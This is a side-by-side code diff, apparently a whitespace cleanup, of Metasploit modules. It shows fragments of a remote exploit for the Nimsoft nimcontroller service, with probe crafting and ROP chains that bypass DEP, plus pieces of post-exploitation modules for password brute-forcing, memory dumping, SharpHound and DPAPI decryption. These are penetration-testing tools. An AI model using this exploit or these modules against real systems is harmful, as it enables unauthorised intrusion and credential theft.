OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0]) OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])
]) ])
end end
def provided_path_dir def provided_path_dir

View File

@ -71,14 +71,12 @@ class MetasploitModule < Msf::Exploit::Remote
Opt::RPORT(48000), Opt::RPORT(48000),
] ]
) )
end end
# check: there are only two prerequisites to getting code execution. The version number # check: there are only two prerequisites to getting code execution. The version number
# and access to the directory_list probe. The easiest way to get this information is to # and access to the directory_list probe. The easiest way to get this information is to
# ask nicely ;) # ask nicely ;)
def check def check
connect connect
sock.put(generate_probe('get_info', ['interfaces=0'])) sock.put(generate_probe('get_info', ['interfaces=0']))
@ -105,7 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
return CheckCode::Safe return CheckCode::Safe
end end
end end
def exploit def exploit
@ -148,13 +145,11 @@ class MetasploitModule < Msf::Exploit::Remote
sock.put(exploit_packet) sock.put(exploit_packet)
disconnect disconnect
end end
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes # generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned. # otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
def generate_rsp_chain def generate_rsp_chain
rop_gadgets = [0x0000000140018c42] * 20 # ret rop_gadgets = [0x0000000140018c42] * 20 # ret
rop_gadgets += [ rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret 0x0000000140002ef6, # pop rax ; ret
@ -165,14 +160,12 @@ class MetasploitModule < Msf::Exploit::Remote
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
return rop_gadgets.pack('<Q*') return rop_gadgets.pack('<Q*')
end end
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, # generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution. # and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's. # Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
def generate_rop_chain def generate_rop_chain
# RAX -> HMODULE GetModuleHandleA( # RAX -> HMODULE GetModuleHandleA(
# ( RCX == *module ) LPCSTR lpModuleName, # ( RCX == *module ) LPCSTR lpModuleName,
# ); # );
@ -320,13 +313,11 @@ class MetasploitModule < Msf::Exploit::Remote
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove) rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
return rop_gadgets.pack('<Q*') return rop_gadgets.pack('<Q*')
end end
# parse_listing: once the directory_list probe is sent we're returned a directory listing # parse_listing: once the directory_list probe is sent we're returned a directory listing
# unfortunately it's hard to read this simply "decodes" it # unfortunately it's hard to read this simply "decodes" it
def parse_listing(response, directory) def parse_listing(response, directory)
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' } result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
i = 0 i = 0
@ -424,7 +415,6 @@ class MetasploitModule < Msf::Exploit::Remote
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
# craft probes in order for the controller to accept any input. # craft probes in order for the controller to accept any input.
def generate_probe(probe, args) def generate_probe(probe, args)
client = "#{rand_text_alphanumeric(14)}\x00" client = "#{rand_text_alphanumeric(14)}\x00"
packet_args = '' packet_args = ''
probe += "\x00" probe += "\x00"
@ -474,7 +464,6 @@ class MetasploitModule < Msf::Exploit::Remote
probe = packet_header + packet_body + packet_args probe = packet_header + packet_body + packet_args
return probe return probe
end end
end end

View File

@ -28,7 +28,6 @@ class MetasploitModule < Msf::Post
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.']) OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
] ]
) )
end end
def run def run

View File

@ -48,7 +48,6 @@ class MetasploitModule < Msf::Post
end end
def run def run
fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump
print_status('AvDump.exe exists!') print_status('AvDump.exe exists!')
@ -65,6 +64,5 @@ class MetasploitModule < Msf::Post
print_status(result) print_status(result)
rm_f(dump_path) rm_f(dump_path)
end end
end end

View File

@ -48,7 +48,6 @@ class MetasploitModule < Msf::Post
OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]), OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]),
OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']), OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']),
]) ])
end end
# Options removed or changed in sharphound v2 to sharphound v3 # Options removed or changed in sharphound v2 to sharphound v3

View File

@ -38,7 +38,6 @@ class MetasploitModule < Msf::Post
'Author' => ['Quentin Kaiser <kaiserquentin[at]gmail.com>'] 'Author' => ['Quentin Kaiser <kaiserquentin[at]gmail.com>']
) )
) )
end end
# Decrypts `data` encrypted with Windows DPAPI by calling CryptUnprotectData # Decrypts `data` encrypted with Windows DPAPI by calling CryptUnprotectData